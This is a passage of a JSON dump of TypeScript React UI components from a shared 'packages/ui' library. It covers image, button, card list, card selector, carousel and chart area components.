    "content": "import { cn } from \"@dub/utils\";\nimport Image, { ImageProps } from \"next/image\";\nimport { memo, useEffect, useState } from \"react\";\n\n// Helps prevent flickering from re-rendering\nexport const BlurImage = memo((props: ImageProps) => {\n  const [loading, setLoading] = useState(true);\n  const [src, setSrc] = useState(props.src);\n  useEffect(() => setSrc(props.src), [props.src]); // update the `src` value when the `prop.src` value changes\n\n  const handleLoad = (e: React.SyntheticEvent<HTMLImageElement, Event>) => {\n    setLoading(false);\n    const target = e.target as HTMLImageElement;\n    if (target.naturalWidth <= 16 && target.naturalHeight <= 16) {\n      setSrc(`https://avatar.vercel.sh/${encodeURIComponent(props.alt)}`);\n    }\n  };\n\n  return (\n    <Image\n      {...props}\n      src={src}\n      alt={props.alt}\n      className={cn(loading ? \"blur-[2px]\" : \"blur-0\", props.className)}\n      onLoad={handleLoad}\n      onError={() => {\n        setSrc(`https://avatar.vercel.sh/${encodeURIComponent(props.alt)}`); // if the image fails to load, use the default avatar\n      }}\n      unoptimized\n    />\n  );\n});\n"
  },
  {
    "path": "packages/ui/src/button.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { VariantProps, cva } from \"class-variance-authority\";\nimport { ReactNode, forwardRef } from \"react\";\nimport { LoadingSpinner } from \"./icons\";\nimport { Tooltip } from \"./tooltip\";\n\nexport const buttonVariants = cva(\"transition-all\", {\n  variants: {\n    variant: {\n      primary:\n        \"border-black bg-black dark:bg-white dark:border-white text-content-inverted hover:bg-inverted hover:ring-4 hover:ring-border-subtle\",\n      secondary: cn(\n        \"border-border-subtle bg-white dark:bg-black text-content-emphasis hover:bg-bg-muted focus-visible:border-border-emphasis outline-none\",\n        \"data-[state=open]:border-border-emphasis data-[state=open]:ring-4 data-[state=open]:ring-border-subtle\",\n      ),\n      outline: \"border-transparent text-content-default hover:bg-neutral-900/5\",\n      success:\n        \"border-blue-500 bg-blue-500 text-white hover:bg-blue-600 hover:ring-4 hover:ring-blue-100\",\n      danger:\n        \"border-red-500 bg-red-500 text-white hover:bg-red-600 hover:ring-4 hover:ring-red-100\",\n      \"danger-outline\":\n        \"border-transparent bg-white text-red-500 hover:bg-red-600 hover:text-white\",\n    },\n  },\n  defaultVariants: {\n    variant: \"primary\",\n  },\n});\n\nexport interface ButtonProps\n  extends React.ButtonHTMLAttributes<HTMLButtonElement>,\n    VariantProps<typeof buttonVariants> {\n  text?: ReactNode | string;\n  textWrapperClassName?: string;\n  shortcutClassName?: string;\n  loading?: boolean;\n  icon?: ReactNode;\n  shortcut?: string;\n  right?: ReactNode;\n  disabledTooltip?: string | ReactNode;\n}\n\nconst Button = forwardRef<HTMLButtonElement, ButtonProps>(\n  (\n    {\n      text,\n      variant = \"primary\",\n      className,\n      textWrapperClassName,\n      shortcutClassName,\n      loading,\n      icon,\n      shortcut,\n      disabledTooltip,\n      right,\n      ...props\n    }: ButtonProps,\n    forwardedRef,\n  ) => {\n    if (disabledTooltip) {\n      return (\n        <Tooltip content={disabledTooltip}>\n          <div\n            className={cn(\n              \"flex h-10 w-full cursor-not-allowed items-center justify-center gap-x-2 rounded-md border border-neutral-200 bg-neutral-100 px-4 text-sm text-neutral-400 transition-all focus:outline-none\",\n              {\n                \"border-transparent bg-transparent\":\n                  variant?.endsWith(\"outline\"),\n              },\n              className,\n            )}\n          >\n            {icon}\n            {text && (\n              <div\n                className={cn(\n                  \"min-w-0 truncate\",\n                  shortcut && \"flex-1 text-left\",\n                  textWrapperClassName,\n                )}\n              >\n                {text}\n              </div>\n            )}\n            {shortcut && (\n              <kbd\n                className={cn(\n                  \"hidden rounded border border-neutral-200 bg-neutral-100 px-2 py-0.5 text-xs font-light text-neutral-400 md:inline-block\",\n                  {\n                    \"bg-neutral-100\": variant?.endsWith(\"outline\"),\n                  },\n                  shortcutClassName,\n                )}\n              >\n                {shortcut}\n              </kbd>\n            )}\n          </div>\n        </Tooltip>\n      );\n    }\n    return (\n      <button\n        ref={forwardedRef}\n        // if onClick is passed, it's a \"button\" type, otherwise it's being used in a form, hence \"submit\"\n        type={props.onClick ? \"button\" : \"submit\"}\n        className={cn(\n          \"group flex h-10 w-full items-center justify-center gap-2 whitespace-nowrap rounded-md border px-4 text-sm\",\n          props.disabled || loading\n            ? \"cursor-not-allowed border-neutral-200 bg-neutral-100 text-neutral-400 outline-none\"\n            : buttonVariants({ variant }),\n          className,\n        )}\n        disabled={props.disabled || loading}\n        {...props}\n      >\n        {loading ? <LoadingSpinner /> : icon ? icon : null}\n        {text && (\n          <div\n            className={cn(\n              \"min-w-0 truncate\",\n              shortcut && \"flex-1 text-left\",\n              textWrapperClassName,\n            )}\n          >\n            {text}\n          </div>\n        )}\n        {shortcut && (\n          <kbd\n            className={cn(\n              \"hidden rounded px-2 py-0.5 text-xs font-light transition-all duration-75 md:inline-block\",\n              {\n                \"bg-neutral-700 text-neutral-400 group-hover:bg-neutral-600 group-hover:text-neutral-300\":\n                  variant === \"primary\",\n                \"bg-neutral-200 text-neutral-400 group-hover:bg-neutral-100 group-hover:text-neutral-500\":\n                  variant === \"secondary\",\n                \"bg-neutral-100 text-neutral-500 group-hover:bg-neutral-200\":\n                  variant === \"outline\",\n                \"bg-red-400 text-white\": variant === \"danger\",\n                \"bg-red-100 text-red-600 group-hover:bg-red-500 group-hover:text-white\":\n                  variant === \"danger-outline\",\n              },\n              shortcutClassName,\n            )}\n          >\n            {shortcut}\n          </kbd>\n        )}\n        {right}\n      </button>\n    );\n  },\n);\n\nButton.displayName = \"Button\";\n\nexport { Button };\n"
  },
  {
    "path": "packages/ui/src/card-list/card-list-card.tsx",
    "content": "import { cn, isClickOnInteractiveChild } from \"@dub/utils\";\nimport { cva } from \"class-variance-authority\";\nimport {\n  PropsWithChildren,\n  createContext,\n  useContext,\n  useEffect,\n  useRef,\n  useState,\n} from \"react\";\nimport { CardListContext } from \"./card-list\";\n\nconst cardListCardVariants = cva(\n  \"w-full group/card border-neutral-200 bg-white\",\n  {\n    variants: {\n      variant: {\n        compact:\n          \"first-of-type:rounded-t-xl last-of-type:rounded-b-xl first-of-type:border-t border-b border-x data-[hover-state-enabled=true]:hover:bg-neutral-50 transition-colors\",\n        loose:\n          \"border rounded-xl transition-[filter] data-[hover-state-enabled=true]:hover:drop-shadow-card-hover\",\n      },\n    },\n  },\n);\n\nconst cardListCardInnerClassName = \"w-full py-2.5 px-4\";\n\nexport const CardContext = createContext<{\n  hovered: boolean;\n}>({ hovered: false });\n\nexport function CardListCard({\n  outerClassName,\n  innerClassName,\n  children,\n  onClick,\n  onAuxClick,\n  hoverStateEnabled = true,\n  banner,\n}: PropsWithChildren<{\n  outerClassName?: string;\n  innerClassName?: string;\n  onClick?: (e: React.MouseEvent) => void;\n  onAuxClick?: (e: React.MouseEvent) => void;\n  hoverStateEnabled?: boolean;\n  banner?: React.ReactNode;\n}>) {\n  const { variant } = useContext(CardListContext);\n\n  const ref = useRef<HTMLLIElement>(null);\n\n  const [hovered, setHovered] = useState(false);\n\n  // Detect when the card loses hover without an onPointerLeave (e.g. from a modal covering the element)\n  useEffect(() => {\n    if (!hovered || !ref.current) return;\n\n    // Check every second while the card is expected to still be hovered\n    const interval = setInterval(() => {\n      if (ref.current?.matches(\":hover\") === false) setHovered(false);\n    }, 1000);\n\n    return () => clearInterval(interval);\n  }, [hovered]);\n\n  const isCardClick = (e: React.MouseEvent) => {\n    const existingModalBackdrop = document.getElementById(\"modal-backdrop\");\n\n    // Don't trigger onClick if there's already an open modal\n    if (existingModalBackdrop) return false;\n\n    // Don't trigger onClick if an interactive child is clicked\n    if (isClickOnInteractiveChild(e)) return false;\n\n    return true;\n  };\n\n  return (\n    <li\n      ref={ref}\n      className={cn(cardListCardVariants({ variant }), outerClassName)}\n      onPointerEnter={() => setHovered(true)}\n      onPointerLeave={() => setHovered(false)}\n      data-hover-state-enabled={hoverStateEnabled}\n    >\n      {banner}\n      <div\n        className={cn(cardListCardInnerClassName, innerClassName)}\n        onClick={\n          onClick\n            ? (e) => {\n                if (isCardClick(e)) onClick(e);\n              }\n            : undefined\n        }\n        onAuxClick={\n          onAuxClick\n            ? (e) => {\n                if (isCardClick(e)) onAuxClick(e);\n              }\n            : undefined\n        }\n      >\n        <CardContext.Provider value={{ hovered }}>\n          {children}\n        </CardContext.Provider>\n      </div>\n    </li>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/card-list/card-list.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { VariantProps, cva } from \"class-variance-authority\";\nimport { PropsWithChildren, createContext } from \"react\";\n\nconst cardListVariants = cva(\n  \"group/card-list w-full flex flex-col transition-[gap,opacity] min-w-0\",\n  {\n    variants: {\n      variant: {\n        compact: \"gap-0\",\n        loose: \"gap-4\",\n      },\n      loading: {\n        true: \"opacity-50\",\n      },\n    },\n  },\n);\n\ntype CardListProps = PropsWithChildren<{\n  loading?: boolean;\n  className?: string;\n}> &\n  VariantProps<typeof cardListVariants>;\n\ntype CardListContextType = {\n  variant: VariantProps<typeof cardListVariants>[\"variant\"];\n  loading: boolean;\n};\n\nexport const CardListContext = createContext<CardListContextType>({\n  variant: \"loose\",\n  loading: false,\n});\n\nexport function CardList({\n  variant = \"loose\",\n  loading = false,\n  className,\n  children,\n}: CardListProps) {\n  return (\n    <ul\n      className={cn(cardListVariants({ variant, loading }), className)}\n      data-variant={variant}\n    >\n      <CardListContext.Provider value={{ variant, loading }}>\n        {children}\n      </CardListContext.Provider>\n    </ul>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/card-list/index.ts",
    "content": "import { CardList as CardListComponent, CardListContext } from \"./card-list\";\nimport { CardContext, CardListCard } from \"./card-list-card\";\n\nconst CardList = Object.assign(CardListComponent, {\n  Card: Object.assign(CardListCard, {\n    Context: CardContext,\n  }),\n  Context: CardListContext,\n});\n\nexport { CardList };\n"
  },
  {
    "path": "packages/ui/src/card-selector.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\nimport { AnimatedSizeContainer } from \"./animated-size-container\";\nimport { CircleCheckFill } from \"./icons\";\n\nexport interface CardSelectorOption {\n  key: string;\n  label: string;\n  description: string;\n  icon?: ReactNode;\n}\n\nexport interface CardSelectorProps {\n  options: CardSelectorOption[];\n  value?: string;\n  onChange?: (value: string) => void;\n  className?: string;\n  gridCols?: \"1\" | \"2\" | \"3\";\n  name?: string;\n  disabled?: boolean;\n  animated?: boolean;\n}\n\nexport function CardSelector({\n  options,\n  value,\n  onChange,\n  className,\n  gridCols = \"2\",\n  name,\n  disabled = false,\n  animated = true,\n}: CardSelectorProps) {\n  const gridClass = {\n    \"1\": \"grid-cols-1\",\n    \"2\": \"grid-cols-1 lg:grid-cols-2\",\n    \"3\": \"grid-cols-1 md:grid-cols-2 lg:grid-cols-3\",\n  }[gridCols];\n\n  const content = (\n    <div className={cn(\"grid gap-3\", gridClass)}>\n      {options.map(({ key, label, description, icon }) => {\n        const isSelected = value === key;\n\n        return (\n          <label\n            key={key}\n            className={cn(\n              \"relative flex w-full cursor-pointer items-start rounded-md border border-neutral-200 bg-white text-neutral-600 hover:bg-neutral-50\",\n              \"transition-all duration-150\",\n              isSelected &&\n                \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n              disabled && \"cursor-not-allowed opacity-50\",\n              className,\n            )}\n          >\n            <input\n              type=\"radio\"\n              name={name}\n              value={key}\n              className=\"hidden\"\n              checked={isSelected}\n              disabled={disabled}\n              onChange={(e) => {\n                if (e.target.checked && onChange) {\n                  onChange(key);\n                }\n              }}\n            />\n\n            {icon && <div className=\"flex-shrink-0 pt-0.5\">{icon}</div>}\n\n            <div className=\"flex grow flex-col p-3 pr-0\">\n              <span className=\"pr-1 text-sm font-semibold text-neutral-900\">\n                {label}\n              </span>\n              <span className=\"text-xs text-neutral-600\">{description}</span>\n            </div>\n\n            <CircleCheckFill\n              className={cn(\n                \"mr-1.5 mt-1.5 flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                isSelected && \"scale-100 opacity-100\",\n              )}\n            />\n          </label>\n        );\n      })}\n    </div>\n  );\n\n  if (!animated) {\n    return content;\n  }\n\n  return (\n    <div className=\"-m-1\">\n      <AnimatedSizeContainer\n        height\n        transition={{ ease: \"easeInOut\", duration: 0.2 }}\n      >\n        <div className=\"p-1\">{content}</div>\n      </AnimatedSizeContainer>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/carousel/carousel.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport Autoplay from \"embla-carousel-autoplay\";\nimport useEmblaCarousel, {\n  type UseEmblaCarouselType,\n} from \"embla-carousel-react\";\nimport { ArrowLeft, ArrowRight } from \"lucide-react\";\nimport {\n  createContext,\n  forwardRef,\n  HTMLAttributes,\n  KeyboardEvent,\n  useCallback,\n  useContext,\n  useEffect,\n  useState,\n} from \"react\";\nimport { buttonVariants } from \"../button\";\n\nexport const AUTOPLAY_DEFAULT_DELAY = 2000;\n\ntype CarouselApi = UseEmblaCarouselType[1];\ntype UseCarouselParameters = Parameters<typeof useEmblaCarousel>;\ntype CarouselOptions = UseCarouselParameters[0];\ntype CarouselPlugin = UseCarouselParameters[1];\ntype AutoplayOptions = Parameters<typeof Autoplay>[0];\n\ntype CarouselProps = {\n  opts?: CarouselOptions;\n  plugins?: CarouselPlugin;\n  orientation?: \"horizontal\" | \"vertical\";\n  autoplay?: boolean | AutoplayOptions;\n  setApi?: (api: CarouselApi) => void;\n};\n\ntype CarouselContextProps = {\n  carouselRef: ReturnType<typeof useEmblaCarousel>[0];\n  api: ReturnType<typeof useEmblaCarousel>[1];\n  scrollPrev: () => void;\n  scrollNext: () => void;\n  canScrollPrev: boolean;\n  canScrollNext: boolean;\n} & CarouselProps;\n\nconst CarouselContext = createContext<CarouselContextProps | null>(null);\n\nexport function useCarousel() {\n  const context = useContext(CarouselContext);\n\n  if (!context) {\n    throw new Error(\"useCarousel must be used within a <Carousel />\");\n  }\n\n  return context;\n}\n\nexport function useCarouselActiveIndex() {\n  const { api } = useCarousel();\n\n  const [activeIndex, setActiveIndex] = useState(0);\n\n  const onSelect = useCallback(\n    (api: CarouselApi) => setActiveIndex(api?.selectedScrollSnap() ?? 0),\n    [],\n  );\n\n  useEffect(() => {\n    if (!api) return;\n\n    onSelect(api);\n    api.on(\"reInit\", onSelect);\n    api.on(\"select\", onSelect);\n  }, [api, onSelect]);\n\n  return activeIndex;\n}\n\nconst Carousel = forwardRef<\n  HTMLDivElement,\n  HTMLAttributes<HTMLDivElement> & CarouselProps\n>(\n  (\n    {\n      orientation = \"horizontal\",\n      opts,\n      setApi,\n      autoplay,\n      plugins,\n      className,\n      children,\n      ...props\n    },\n    ref,\n  ) => {\n    const [carouselRef, api] = useEmblaCarousel(\n      {\n        ...opts,\n        axis: orientation === \"horizontal\" ? \"x\" : \"y\",\n      },\n      [\n        ...(autoplay\n          ? [\n              Autoplay(\n                typeof autoplay === \"object\"\n                  ? autoplay\n                  : {\n                      delay: AUTOPLAY_DEFAULT_DELAY,\n                    },\n              ),\n            ]\n          : []),\n        ...(plugins || []),\n      ],\n    );\n    const [canScrollPrev, setCanScrollPrev] = useState(false);\n    const [canScrollNext, setCanScrollNext] = useState(false);\n\n    const onSelect = useCallback((api: CarouselApi) => {\n      if (!api) {\n        return;\n      }\n\n      setCanScrollPrev(api.canScrollPrev());\n      setCanScrollNext(api.canScrollNext());\n    }, []);\n\n    const scrollPrev = useCallback(() => {\n      api?.scrollPrev();\n    }, [api]);\n\n    const scrollNext = useCallback(() => {\n      api?.scrollNext();\n    }, [api]);\n\n    const handleKeyDown = useCallback(\n      (event: KeyboardEvent<HTMLDivElement>) => {\n        if (event.key === \"ArrowLeft\") {\n          event.preventDefault();\n          scrollPrev();\n        } else if (event.key === \"ArrowRight\") {\n          event.preventDefault();\n          scrollNext();\n        }\n      },\n      [scrollPrev, scrollNext],\n    );\n\n    useEffect(() => {\n      if (!api || !setApi) {\n        return;\n      }\n\n      setApi(api);\n    }, [api, setApi]);\n\n    useEffect(() => {\n      if (!api) {\n        return;\n      }\n\n      onSelect(api);\n      api.on(\"reInit\", onSelect);\n      api.on(\"select\", onSelect);\n\n      return () => {\n        api?.off(\"select\", onSelect);\n      };\n    }, [api, onSelect]);\n\n    return (\n      <CarouselContext.Provider\n        value={{\n          carouselRef,\n          api: api,\n          opts,\n          orientation:\n            orientation || (opts?.axis === \"y\" ? \"vertical\" : \"horizontal\"),\n          scrollPrev,\n          scrollNext,\n          canScrollPrev,\n          canScrollNext,\n        }}\n      >\n        <div\n          ref={ref}\n          onKeyDownCapture={handleKeyDown}\n          className={cn(\"relative\", className)}\n          role=\"region\"\n          aria-roledescription=\"carousel\"\n          {...props}\n        >\n          {children}\n        </div>\n      </CarouselContext.Provider>\n    );\n  },\n);\nCarousel.displayName = \"Carousel\";\n\nconst CarouselContent = forwardRef<\n  HTMLDivElement,\n  HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => {\n  const { carouselRef, orientation } = useCarousel();\n\n  return (\n    <div ref={carouselRef} className=\"overflow-hidden\">\n      <div\n        ref={ref}\n        className={cn(\n          \"flex\",\n          orientation === \"horizontal\" ? \"-ml-4\" : \"-mt-4 flex-col\",\n          className,\n        )}\n        {...props}\n      />\n    </div>\n  );\n});\nCarouselContent.displayName = \"CarouselContent\";\n\nconst CarouselItem = forwardRef<HTMLDivElement, HTMLAttributes<HTMLDivElement>>(\n  ({ className, ...props }, ref) => {\n    const { orientation } = useCarousel();\n\n    return (\n      <div\n        ref={ref}\n        role=\"group\"\n        aria-roledescription=\"slide\"\n        className={cn(\n          \"min-w-0 shrink-0 grow-0 basis-full\",\n          orientation === \"horizontal\" ? \"pl-4\" : \"pt-4\",\n          className,\n        )}\n        {...props}\n      />\n    );\n  },\n);\nCarouselItem.displayName = \"CarouselItem\";\n\nconst CarouselPrevious = forwardRef<HTMLButtonElement, { className?: string }>(\n  ({ className, ...props }, ref) => {\n    const { orientation, scrollPrev, canScrollPrev } = useCarousel();\n\n    return (\n      <button\n        ref={ref}\n        className={cn(\n          \"absolute\",\n          orientation === \"horizontal\"\n            ? \"-left-12 top-1/2 -translate-y-1/2\"\n            : \"-top-12 left-1/2 -translate-x-1/2 rotate-90\",\n          buttonVariants({ variant: \"secondary\", className: \"p-2\" }),\n          className,\n        )}\n        disabled={!canScrollPrev}\n        onClick={scrollPrev}\n        {...props}\n      >\n        <ArrowLeft className=\"h-4 w-4\" />\n        <span className=\"sr-only\">Previous slide</span>\n      </button>\n    );\n  },\n);\nCarouselPrevious.displayName = \"CarouselPrevious\";\n\nconst CarouselNext = forwardRef<HTMLButtonElement, { className?: string }>(\n  ({ className, ...props }, ref) => {\n    const { orientation, scrollNext, canScrollNext } = useCarousel();\n\n    return (\n      <button\n        ref={ref}\n        className={cn(\n          \"absolute\",\n          orientation === \"horizontal\"\n            ? \"-right-12 top-1/2 -translate-y-1/2\"\n            : \"-bottom-12 left-1/2 -translate-x-1/2 rotate-90\",\n          buttonVariants({ variant: \"secondary\", className: \"p-2\" }),\n          className,\n        )}\n        disabled={!canScrollNext}\n        onClick={scrollNext}\n        {...props}\n      >\n        <ArrowRight className=\"h-4 w-4\" />\n        <span className=\"sr-only\">Next slide</span>\n      </button>\n    );\n  },\n);\nCarouselNext.displayName = \"CarouselNext\";\n\nexport {\n  Carousel,\n  CarouselContent,\n  CarouselItem,\n  CarouselNext,\n  CarouselPrevious,\n  type CarouselApi,\n};\n"
  },
  {
    "path": "packages/ui/src/carousel/index.ts",
    "content": "export * from \"./carousel\";\nexport * from \"./nav-bar\";\nexport * from \"./thumbnails\";\n"
  },
  {
    "path": "packages/ui/src/carousel/nav-bar.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { VariantProps, cva } from \"class-variance-authority\";\nimport { ChevronLeft, ChevronRight } from \"lucide-react\";\nimport { motion } from \"motion/react\";\nimport * as React from \"react\";\nimport { AUTOPLAY_DEFAULT_DELAY, CarouselApi, useCarousel } from \"./carousel\";\n\nconst CarouselNavBarVariants = cva(\n  \"flex items-center justify-center gap-3 sm:gap-6\",\n  {\n    variants: {\n      variant: {\n        simple: \"relative\",\n        floating:\n          \"absolute bottom-4 left-1/2 -translate-x-1/2 rounded-full border border-neutral-800/10 bg-white sm:bottom-6 \",\n      },\n    },\n  },\n);\n\nexport const CarouselNavBar = ({\n  variant = \"simple\",\n  className,\n}: VariantProps<typeof CarouselNavBarVariants> & { className?: string }) => {\n  const { scrollNext, scrollPrev, canScrollNext, canScrollPrev, api } =\n    useCarousel();\n\n  const autoplay = api?.plugins()?.autoplay;\n\n  const [selectedIndex, setSelectedIndex] = React.useState(0);\n\n  const [isPlaying, setIsPlaying] = React.useState(false);\n\n  const onSelect = React.useCallback((api: CarouselApi) => {\n    setSelectedIndex(api?.selectedScrollSnap() ?? 0);\n  }, []);\n\n  const stopAutoplayAnd = React.useCallback(\n    (fn: () => void) => () => {\n      if (autoplay && autoplay.isPlaying()) autoplay.stop();\n      fn();\n    },\n    [autoplay],\n  );\n\n  React.useEffect(() => {\n    if (!api) return;\n\n    onSelect(api);\n    setIsPlaying(autoplay?.isPlaying() ?? false);\n    api.on(\"reInit\", onSelect);\n    api.on(\"select\", onSelect);\n    api.on(\"autoplay:play\", () => setIsPlaying(true));\n    api.on(\"autoplay:stop\", () => setIsPlaying(false));\n  }, [api, autoplay, onSelect]);\n\n  return (\n    <div className={cn(CarouselNavBarVariants({ variant }), className)}>\n      {variant !== \"simple\" && (\n        <button\n          className=\"cursor-pointer rounded-full p-2 hover:bg-neutral-50 active:bg-neutral-100\"\n          disabled={!canScrollPrev}\n          onClick={stopAutoplayAnd(scrollPrev)}\n        >\n          <ChevronLeft className=\"h-4 w-4\" />\n          <span className=\"sr-only\">Previous slide</span>\n        </button>\n      )}\n\n      {api != null && (\n        <div className=\"flex items-center gap-1\">\n          {api.slideNodes().map((_, idx) => (\n            <button\n              key={idx}\n              onClick={stopAutoplayAnd(() => api.scrollTo(idx))}\n              className=\"rounded-full p-0.5 hover:bg-neutral-100 active:bg-neutral-200 sm:p-1.5\"\n            >\n              <div\n                className={cn(\n                  \"relative isolate h-1.5 w-1.5 overflow-hidden rounded-full transition-all\",\n                  idx === selectedIndex ? \"bg-black\" : \"bg-black/20\",\n                  isPlaying && idx === selectedIndex && \"w-6 bg-black/20\",\n                )}\n              >\n                {isPlaying && idx === selectedIndex && (\n                  <motion.div\n                    initial={{ x: \"-100%\" }}\n                    animate={{ x: 0 }}\n                    transition={{\n                      type: \"tween\",\n                      duration:\n                        ((autoplay?.options.delay ??\n                          AUTOPLAY_DEFAULT_DELAY) as number) / 1000,\n                    }}\n                    className=\"animate-fill-width h-full w-full rounded-full bg-black\"\n                  />\n                )}\n              </div>\n              <span className=\"sr-only\">Slide {idx + 1}</span>\n            </button>\n          ))}\n        </div>\n      )}\n\n      {variant !== \"simple\" && (\n        <button\n          className=\"cursor-pointer rounded-full p-2 hover:bg-neutral-50 active:bg-neutral-100\"\n          disabled={!canScrollNext}\n          onClick={stopAutoplayAnd(scrollNext)}\n        >\n          <ChevronRight className=\"h-4 w-4\" />\n          <span className=\"sr-only\">Next slide</span>\n        </button>\n      )}\n    </div>\n  );\n};\n"
  },
  {
    "path": "packages/ui/src/carousel/thumbnails.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport useEmblaCarousel from \"embla-carousel-react\";\nimport {\n  ButtonHTMLAttributes,\n  forwardRef,\n  HTMLAttributes,\n  useCallback,\n  useEffect,\n} from \"react\";\nimport { CarouselApi, useCarousel, useCarouselActiveIndex } from \"./carousel\";\n\nexport const CarouselThumbnails = ({\n  className,\n  ...rest\n}: HTMLAttributes<HTMLDivElement>) => {\n  const { api: mainApi } = useCarousel();\n  const [thumbnailsRef, thumbnailsApi] = useEmblaCarousel({\n    dragFree: true,\n  });\n\n  const onSelect = useCallback(\n    (api: CarouselApi) => {\n      if (!api || !thumbnailsApi) return;\n\n      thumbnailsApi?.scrollTo(api.selectedScrollSnap());\n    },\n    [thumbnailsApi],\n  );\n\n  useEffect(() => {\n    if (!mainApi || !thumbnailsApi) return;\n\n    onSelect(mainApi);\n\n    mainApi.on(\"reInit\", onSelect);\n    mainApi.on(\"select\", onSelect);\n\n    return () => {\n      mainApi?.off(\"reInit\", onSelect);\n      mainApi?.off(\"select\", onSelect);\n    };\n  }, [mainApi, thumbnailsApi, onSelect]);\n\n  return (\n    <div className=\"overflow-hidden\" ref={thumbnailsRef}>\n      <div className={cn(\"mx-4 flex gap-4\", className)} {...rest} />\n    </div>\n  );\n};\n\ntype CarouselThumbnailProps = {\n  index: number;\n  className?: string | ((d: { active: boolean }) => string);\n} & Omit<ButtonHTMLAttributes<HTMLButtonElement>, \"className\">;\n\nexport const CarouselThumbnail = forwardRef<\n  HTMLDivElement,\n  CarouselThumbnailProps\n>(({ index, className, ...rest }: CarouselThumbnailProps, ref) => {\n  const { api: mainApi } = useCarousel();\n\n  const activeIndex = useCarouselActiveIndex();\n\n  return (\n    <div ref={ref}>\n      <button\n        type=\"button\"\n        onClick={() => {\n          if (!mainApi) return;\n          const autoplay = mainApi.plugins()?.autoplay;\n          if (autoplay && autoplay.isPlaying()) autoplay.stop();\n\n          mainApi.scrollTo(index);\n        }}\n        className={\n          typeof className === \"function\"\n            ? className({ active: index === activeIndex })\n            : className\n        }\n        {...rest}\n      />\n    </div>\n  );\n});\n"
  },
  {
    "path": "packages/ui/src/charts/areas.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { LinearGradient } from \"@visx/gradient\";\nimport { Group } from \"@visx/group\";\nimport { Area, AreaClosed, Circle } from \"@visx/shape\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useMemo } from \"react\";\nimport { useChartContext, useChartTooltipContext } from \"./chart-context\";\n\nexport function Areas({\n  seriesStyles,\n  showLatestValueCircle = true,\n}: {\n  seriesStyles?: {\n    id: string;\n    gradientClassName?: string;\n    lineClassName?: string;\n    areaFill?: string;\n    lineStroke?: string;\n  }[];\n  showLatestValueCircle?: boolean;\n}) {\n  const { data, series, margin, xScale, yScale, startDate, endDate } =\n    useChartContext();\n\n  if (!(\"ticks\" in xScale))\n    throw new Error(\"Areas require a time scale (type=area)\");\n\n  const { tooltipData } = useChartTooltipContext();\n\n  // Data with all values set to zero to animate from\n  const zeroedData = useMemo(() => {\n    return data.map((d) => ({\n      ...d,\n      values: Object.fromEntries(Object.keys(d.values).map((key) => [key, 0])),\n    })) as typeof data;\n  }, [data]);\n\n  return (\n    <Group left={margin.left} top={margin.top}>\n      <AnimatePresence>\n        {series\n          .filter(({ isActive }) => isActive)\n          .map((s) => {\n            const seriesStyle = seriesStyles?.find(({ id }) => id === s.id);\n            return (\n              // Prevent ugly x-scale animations when start/end dates change with unique key\n              <motion.g\n                initial={{ opacity: 1 }}\n                exit={{ opacity: 0 }}\n                transition={{ duration: 0.1 }}\n                // TODO: This key changes immediately and sometimes breaks enter/exit animations\n                key={`${s.id}_${startDate.toString()}_${endDate.toString()}`}\n              >\n                {/* Area background mask gradient */}\n                <LinearGradient\n                  id={`${s.id}-mask-gradient`}\n                  from=\"white\"\n                  to=\"white\"\n                  fromOpacity={0.2}\n                  toOpacity={0}\n                  x1={0}\n                  x2={0}\n                  y1={0}\n                  y2={1}\n                />\n                <mask id={`${s.id}-mask`} maskContentUnits=\"objectBoundingBox\">\n                  <rect\n                    width=\"1\"\n                    height=\"1\"\n                    fill={`url(#${s.id}-mask-gradient)`}\n                  />\n                </mask>\n\n                {/* Area */}\n                <AreaClosed\n                  data={data}\n                  x={(d) => xScale(d.date)}\n                  y={(d) => yScale(s.valueAccessor(d) ?? 0)}\n                  yScale={yScale}\n                >\n                  {({ path }) => {\n                    return (\n                      <motion.path\n                        initial={{ d: path(zeroedData) || \"\", opacity: 0 }}\n                        animate={{ d: path(data) || \"\", opacity: 1 }}\n                        className={cn(\n                          s.colorClassName ?? \"text-blue-500\",\n                          seriesStyle?.gradientClassName,\n                        )}\n                        mask={`url(#${s.id}-mask)`}\n                        fill={seriesStyle?.areaFill ?? \"currentColor\"}\n                      />\n                    );\n                  }}\n                </AreaClosed>\n\n                {/* Line */}\n                <Area\n                  data={data}\n                  x={(d) => xScale(d.date)}\n                  y={(d) => yScale(s.valueAccessor(d) ?? 0)}\n                >\n                  {({ path }) => (\n                    <motion.path\n                      initial={{ d: path(zeroedData) || \"\" }}\n                      animate={{ d: path(data) || \"\" }}\n                      className={cn(\n                        s.colorClassName ?? \"text-blue-700\",\n                        seriesStyle?.lineClassName,\n                      )}\n                      stroke={seriesStyle?.lineStroke ?? \"currentColor\"}\n                      strokeOpacity={0.8}\n                      strokeWidth={2}\n                      fill=\"transparent\"\n                    />\n                  )}\n                </Area>\n\n                {/* Latest value circle */}\n                {showLatestValueCircle && !tooltipData && (\n                  <Circle\n                    cx={xScale(data.at(-1)!.date)}\n                    cy={yScale(s.valueAccessor(data.at(-1)!))}\n                    r={4}\n                    className={cn(\n                      s.colorClassName ?? \"text-blue-700\",\n                      seriesStyle?.lineClassName,\n                    )}\n                    fill=\"currentColor\"\n                  />\n                )}\n              </motion.g>\n            );\n          })}\n      </AnimatePresence>\n    </Group>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/charts/bars.tsx",
